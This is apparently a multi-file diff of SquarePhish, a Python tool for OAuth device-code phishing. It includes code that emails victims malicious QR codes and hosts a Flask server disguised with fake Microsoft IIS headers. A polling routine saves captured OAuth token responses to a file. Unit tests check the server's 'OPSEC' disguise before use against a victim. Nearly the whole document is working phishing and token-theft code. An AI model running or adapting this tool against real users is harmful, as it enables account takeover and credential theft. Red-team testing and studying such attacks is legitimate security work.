# Wait the provided interval time between polls
time.sleep(int(self.devicecode_response["interval"]))
# Set response once polling proves true
tokenResponse = resp.json()
# Attempt to write the data to a file, but if we fail output it to the
# screen so the user can do what they want with the data
try:
with open(f"{self.target_email}.tokeninfo.json", "w") as f:
json.dump(tokenResponse, f)
logging.info(f"[{self.target_email}] Token info saved to {self.target_email}.tokeninfo.json") # fmt: skip
except Exception as e:
logging.error(f"[{self.target_email}] Failed to write token info: {e}")
logging.info(f"[{self.target_email}] Token Info:\n{tokenResponse}")
return True
+35
View File
@@ -0,0 +1,35 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Python Flask Configuration
import os
import multiprocessing
# Statement for enabling the development environment
DEBUG = False
# Use 2x the number of processor cores for application
# threads to handle incoming requests. One thread to handle
# requests and one to perform background operations
THREADS_PER_PAGE = multiprocessing.cpu_count() * 2
# Enable protection against Cross-site Request Forgery (CSRF)
CSRF_ENABLED = True
# Use a unique key for signing the data
CSRF_SESSION_KEY = os.urandom(32)
# Secret key for signing cookies
SECRET_KEY = os.urandom(32)
+28
View File
@@ -0,0 +1,28 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from flask import Flask # type: ignore
from typing import Any
from squarephish.utils import HTTP_OPSEC_HEADERS
class CustomFlask(Flask):
"""Custom Flask class to customize response headers in HTTP for better OPSEC."""
def process_response(self, response: Any) -> Any:
# Set the defined headers
for header, value in HTTP_OPSEC_HEADERS.items():
response.headers[header] = value
super(CustomFlask, self).process_response(response)
return response
+43
View File
@@ -0,0 +1,43 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from email.message import EmailMessage
from squarephish.modules.emailer import Emailer
def email_usercode(
email_template: str,
subject: str,
from_email: str,
to_email: str,
user_code: str,
emailer: Emailer,
) -> bool:
"""Send the phishing email to a target user
:param email_template: email body template
:param subject: email subject to send to victim
:param from_email: FROM email address to display to victim
:param to_email: TO email address of victim
:param user_code: OAuth user code
:param emailer: emailer object to send emails
:returns: bool if the email was successfully sent
"""
msg = EmailMessage()
msg["Subject"] = subject
msg["From"] = from_email
msg["To"] = to_email
msg.set_content(email_template % user_code, subtype="html")
return emailer.send_email(msg)
+98
View File
@@ -0,0 +1,98 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# fmt: off
import logging
from squarephish import __version__
# Configuration values
CONFIG_DEFAULT = ["SMTP_PORT", "SMTP_SERVER", "SMTP_EMAIL", "SMTP_PASSWORD"]
CONFIG_EMAIL = ["SQUAREPHISH_SERVER", "SQUAREPHISH_PORT", "SQUAREPHISH_ENDPOINT", "FROM_EMAIL", "SUBJECT", "EMAIL_TEMPLATE"]
CONFIG_SERVER = ["PORT", "FROM_EMAIL", "SUBJECT", "CLIENT_ID", "ENDPOINT", "EMAIL_TEMPLATE", "PERMISSION_SCOPE"]
# Default HTTP values
HTTP_HEADERS = { "Content-Type": "application/x-www-form-urlencoded" }
HTTP_OPSEC_HEADERS = {
"vary": "Accept-Encoding",
"server": "Microsoft-IIS/10.0",
"tls_version": "tls1.3",
"content-type": "text/html; charset=utf-8",
"x-appversion": "1.0.8125.42964",
"x-frame-options": "SAMEORIGIN",
"x-ua-compatible": "IE=Edge;chrome=1",
"x-xss-protection": "1; mode=block",
"x-content-type-options": "nosniff",
"strict-transport-security": "max-age=31536000",
}
BANNER = f"""
_____ _____ _ _ _
/ ____| | __ \| | (_) | |
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
| |
|_|
_________
| | /(
| O |/ (
|> |\ ( v{__version__}
|_________| \(
"""
class bcolors:
"""Color codes for colorized terminal output"""
HEADER = "\033[95m"
OKBLUE = "\033[94m"
OKCYAN = "\033[96m"
OKGREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
ENDC = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
class LoggingLevels:
CRITICAL = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "crit"
WARNING = f"{bcolors.WARNING}%s{bcolors.ENDC}" % "warn"
DEBUG = f"{bcolors.OKBLUE}%s{bcolors.ENDC}" % "debug"
ERROR = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "fail"
INFO = f"{bcolors.OKGREEN}%s{bcolors.ENDC}" % "info"
def init_logger(debug: bool):
"""Initialize program logging
:param debug: debug enabled/disabled
"""
if debug:
logging_level = logging.DEBUG
logging_format = ("[%(asctime)s] [%(levelname)-5s] %(filename)17s:%(lineno)-4s - %(message)s")
else:
logging_level = logging.INFO
logging_format = "[%(asctime)s] [%(levelname)-5s] %(message)s"
logging.basicConfig(format=logging_format, level=logging_level)
# Handle color output
logging.addLevelName(logging.CRITICAL, LoggingLevels.CRITICAL)
logging.addLevelName(logging.WARNING, LoggingLevels.WARNING)
logging.addLevelName(logging.DEBUG, LoggingLevels.DEBUG)
logging.addLevelName(logging.ERROR, LoggingLevels.ERROR)
logging.addLevelName(logging.INFO, LoggingLevels.INFO)
+269
View File
@@ -0,0 +1,269 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import sys
import urllib3
import logging
import argparse
from pathlib import Path
from configparser import NoOptionError
from configparser import DuplicateOptionError
from squarephish import utils
from squarephish.__init__ import __title__
from squarephish.__init__ import __version__
from squarephish.cfgparser import CustomConfigParser
from squarephish.modules.server import app
from squarephish.modules.server import init_app
from squarephish.modules.qrcode import QRCodeEmail
from squarephish.modules.emailer import Emailer
# Disable insecure request warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
app_info = f"{__title__} -- v{__version__}"
def parse_args() -> argparse.Namespace:
"""Parse command line arguments"""
parser = argparse.ArgumentParser(description=app_info)
# Create a parent parser and add common arguments before setting up the subparsers
parent_parser = argparse.ArgumentParser(add_help=False)
parent_parser.add_argument(
"-h",
"--help",
action="store_true",
help="show this help message and exit",
)
parent_parser.add_argument(
"-c",
"--config",
type=str,
default="settings.config",
help="squarephish config file [Default: settings.config]",
)
parent_parser.add_argument(
"--debug",
action="store_true",
help="enable server debugging",
)
# Create a subparser to handle 'email' and 'server' modules
subparsers = parser.add_subparsers(
title="modules",
dest="module",
required=True,
)
# Create 'email' parser
email_parser = subparsers.add_parser(
"email",
parents=[parent_parser],
add_help=False,
help="send a malicious QR Code email to a provided victim",
)
email_parser.add_argument(
"-e",
"--email",
type=str,
help="victim email address to send initial QR code email to",
)
# Create 'server' parser
server_parser = subparsers.add_parser(
"server",
parents=[parent_parser],
add_help=False,
help=(
"host a malicious server QR Codes generated via the 'email' module will "
"point to that will activate the malicious OAuth Device Code flow"
),
)
args = parser.parse_args()
# Validate args
if args.module == "email":
if args.help:
email_parser.print_help()
sys.exit(1)
if not args.email:
parser.error("the following arguments are required: -e/--email")
sys.exit(1)
if args.module == "server":
if args.help:
server_parser.print_help()
sys.exit(1)
# Validate the config file exists
if not Path(args.config).is_file():
parser.error("invalid file for arguments: -c/--config")
sys.exit(1)
return args
def parse_config(config_file: str, module: str) -> CustomConfigParser:
"""Parse the provided configuration file
:param config_file: configuration file to parse
:param module: executing module to validate config for
"""
try:
config = CustomConfigParser(
comment_prefixes="#",
inline_comment_prefixes="#",
)
config.read(config_file)
except DuplicateOptionError as e:
logging.error(f"Could not parse config file: {e}")
sys.exit(1)
# Validate sections
if module == "email" and "EMAIL" not in config.sections():
logging.error("Missing required config section: EMAIL")
sys.exit(1)
if module == "server" and "SERVER" not in config.sections():
logging.error("Missing required config section: SERVER")
sys.exit(1)
# Validate the required data exists in the configuration file
try:
for val in utils.CONFIG_DEFAULT:
if not config.get("DEFAULT", val):
logging.error(f"Missing value for option '{val.lower()}' in section: 'DEFAULT'") # fmt: skip
sys.exit(1)
if module == "email":
for val in utils.CONFIG_EMAIL:
if not config.get("EMAIL", val):
logging.error(f"Missing value for option '{val.lower()}' in section: 'EMAIL'") # fmt: skip
sys.exit(1)
if module == "server":
for val in utils.CONFIG_SERVER:
if not config.get("SERVER", val):
logging.error(f"Missing value for option '{val.lower()}' in section: 'SERVER'") # fmt: skip
sys.exit(1)
except NoOptionError as e:
logging.error(f"Could not parse config file: {e}")
sys.exit(1)
# Parse template files here to identify valid/invalid files
# Handle email module
if module == "email":
qrcode_template_file = config.get("EMAIL", "EMAIL_TEMPLATE")
if not Path(qrcode_template_file).is_file():
logging.error("Invalid QR code email template file")
sys.exit(1)
# Update the value from file name to file contents
with open(qrcode_template_file, "r") as f:
config.set("EMAIL", "EMAIL_TEMPLATE", f.read())
if module == "server":
devicecode_template_file = config.get("SERVER", "EMAIL_TEMPLATE")
if not Path(devicecode_template_file).is_file():
logging.error("Invalid device code email template file")
sys.exit(1)
# Update the value from file name to file contents
with open(devicecode_template_file, "r") as f:
config.set("SERVER", "EMAIL_TEMPLATE", f.read())
# Validate cert files - if present
try:
if config.get("SERVER", "CERT_CRT") and config.get("SERVER", "CERT_KEY"):
if (
not Path(config.get("SERVER", "CERT_CRT")).is_file()
or not Path(config.get("SERVER", "CERT_KEY")).is_file()
):
logging.error("Invalid server SSL certificate files")
sys.exit(1)
except NoOptionError:
pass
return config
if __name__ == "__main__":
print(utils.BANNER)
# Parse command line arguments
args = parse_args()
# Initialize logging level and format
utils.init_logger(args.debug)
# Parse config file
config = parse_config(config_file=args.config, module=args.module)
# Initialize emailer object
emailer = Emailer(config=config)
if args.module == "email":
emailed = QRCodeEmail.send_qrcode(
email=args.email,
config=config,
emailer=emailer,
)
if not emailed:
logging.error("Failed to send QR code to victim")
else:
logging.info(f"Successfully sent email to: {args.email}")
elif args.module == "server":
logging.info(f"Starting: {app_info}")
init_app(
config=config,
emailer=emailer,
)
# If SSL certs are defined, set Flask SSL context
# Catch NoOptionError exceptions in case these values are not
# defined in the configuration - they are not a hard requirement
ssl_context = "adhoc"
try:
ssl_context = (
config.get("SERVER", "CERT_CRT"),
config.get("SERVER", "CERT_KEY"),
)
except NoOptionError:
pass
try:
app_port = int(config.get("SERVER", "PORT"))
except ValueError:
logging.error("Invalid server port defined in configuration")
sys.exit(1)
app.run(
host="0.0.0.0",
port=app_port,
threaded=True,
use_reloader=False,
ssl_context=ssl_context,
)
else:
logging.error("Invalid SquarePhish module")
+111
View File
@@ -0,0 +1,111 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from squarephish.utils import HTTP_OPSEC_HEADERS
from squarephish.cfgparser import CustomConfigParser
from squarephish.modules.server import app
from squarephish.modules.server import init_app
class ServerTestCase(unittest.TestCase):
"""SquarePhish Server Test Cases
These test cases are specifically designed to validate the OPSEC handling
of the Flask server. No matter what, valid or valid request, the server
should only include the custom response headers defined in utils.py and
redirect away from our Flask instance to a Microsoft owned endpoint.
"""
@classmethod
def setUpClass(cls):
"""Initialize Flask app"""
# Parse the default config settings
config = CustomConfigParser(comment_prefixes="#", inline_comment_prefixes="#")
config.read("../settings.config")
# Initialize app
init_app(config=config, emailer=None)
def setUp(self):
self.app = app.app_context()
self.app.push()
self.client = app.test_client()
def tearDown(self):
self.app.pop()
def test_server_headers_1(self):
"""Server Headers 1: Valid request"""
endpoint = "/mfa?email=test@test.com" # Default config endpoint
response = self.client.get(endpoint, follow_redirects=False)
for header, value in response.headers.items():
# Skip non-customized headers
if header.lower() in ["content-length", "location", "date"]:
continue
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
def test_server_headers_2(self):
"""Server Headers 2: Invalid request"""
endpoint = "/invalid"
response = self.client.get(endpoint, follow_redirects=False)
for header, value in response.headers.items():
# Skip non-customized headers
if header.lower() in ["content-length", "location", "date"]:
continue
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
def test_endpoint_valid(self):
"""Valid Request"""
endpoint = "/mfa?email=test@test.com" # Default config endpoint
response = self.client.get(endpoint, follow_redirects=False)
# There is 3 scenarios that can happen if a valid endpoint is provided:
# 1. The server can not reach microsoft.com
# 2. The server gets an invalid response from microsoft.com
# 3. The server succeeds and continues
# All three scenarios will result in a redirect to the Device Code endpoint
# of microsoft.com
self.assertEqual(response.status_code, 302)
self.assertTrue(response.location == "https://microsoft.com/devicelogin")
def test_endpoint_invalid_1(self):
"""Invalid Request 1: Incorrect URL path"""
endpoint = "/invlaid"
response = self.client.get(endpoint, follow_redirects=False)
self.assertEqual(response.status_code, 302)
self.assertEqual(response.location, "https://microsoft.com/")
def test_endpoint_invalid_2(self):
"""Invalid Request 2: Missing GET parameter"""
endpoint = "/mfa"
response = self.client.get(endpoint, follow_redirects=False)
self.assertEqual(response.status_code, 302)
self.assertEqual(response.location, "https://microsoft.com/")
def test_endpoint_invalid_3(self):
"""Invalid Request 3: Incorrect GET parameter"""
endpoint = "/mfa?username=test@test.com"
response = self.client.get(endpoint, follow_redirects=False)
self.assertEqual(response.status_code, 302)
self.assertEqual(response.location, "https://microsoft.com/")
if __name__ == "__main__":
unittest.main()
+122
View File
@@ -0,0 +1,122 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import urllib3
import unittest
import requests
from squarephish.utils import HTTP_OPSEC_HEADERS
# Disable insecure request warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class RemoteServerTestCase(unittest.TestCase):
"""SquarePhish Server Test Cases - Remote
This is a unittest for testing a running SquarePhish server remotely to
validate OPSEC prior to execution against a victim.
"""
SQUAREPHISH_PORT = 8443 # Populate this with the correct value when testing
SQUAREPHISH_SERVER = "" # Populate this with the correct value when testing
def test_server_headers_1(self):
"""Server Headers 1: Valid request"""
if not self.SQUAREPHISH_SERVER:
raise ValueError("Invalid SquarePhish server")
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
endpoint = "/mfa?email=test@test.com" # Default config endpoint
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
for header, value in response.headers.items():
# Skip non-customized headers
if header.lower() in ["content-length", "location", "date"]:
continue
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
def test_server_headers_2(self):
"""Server Headers 2: Invalid request"""
if not self.SQUAREPHISH_SERVER:
raise ValueError("Invalid SquarePhish server")
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
endpoint = "/invalid"
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
for header, value in response.headers.items():
# Skip non-customized headers
if header.lower() in ["content-length", "location", "date"]:
continue
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
def test_endpoint_valid(self):
"""Valid Request"""
if not self.SQUAREPHISH_SERVER:
raise ValueError("Invalid SquarePhish server")
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
endpoint = "/mfa?email=test@test.com" # Default config endpoint
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
# There is 3 scenarios that can happen if a valid endpoint is provided:
# 1. The server can not reach microsoft.com
# 2. The server gets an invalid response from microsoft.com
# 3. The server succeeds and continues
# All three scenarios will result in a redirect to the Device Code endpoint
# of microsoft.com
self.assertEqual(response.status_code, 302)
self.assertTrue(response.headers["Location"] == "https://microsoft.com/devicelogin") # fmt: skip
def test_endpoint_invalid_1(self):
"""Invalid Request 1: Incorrect URL path"""
if not self.SQUAREPHISH_SERVER:
raise ValueError("Invalid SquarePhish server")
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
endpoint = "/invalid"
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
self.assertEqual(response.status_code, 302)
self.assertEqual(response.headers["Location"], "https://microsoft.com/")
def test_endpoint_invalid_2(self):
"""Invalid Request 2: Missing GET parameter"""
if not self.SQUAREPHISH_SERVER:
raise ValueError("Invalid SquarePhish server")
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
endpoint = "/mfa"
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
self.assertEqual(response.status_code, 302)
self.assertEqual(response.headers["Location"], "https://microsoft.com/")
def test_endpoint_invalid_3(self):
"""Invalid Request 3: Incorrect GET parameter"""
if not self.SQUAREPHISH_SERVER:
raise ValueError("Invalid SquarePhish server")
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
endpoint = "/mfa?username=test@test.com"
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
self.assertEqual(response.status_code, 302)
self.assertEqual(response.headers["Location"], "https://microsoft.com/")
if __name__ == "__main__":
unittest.main()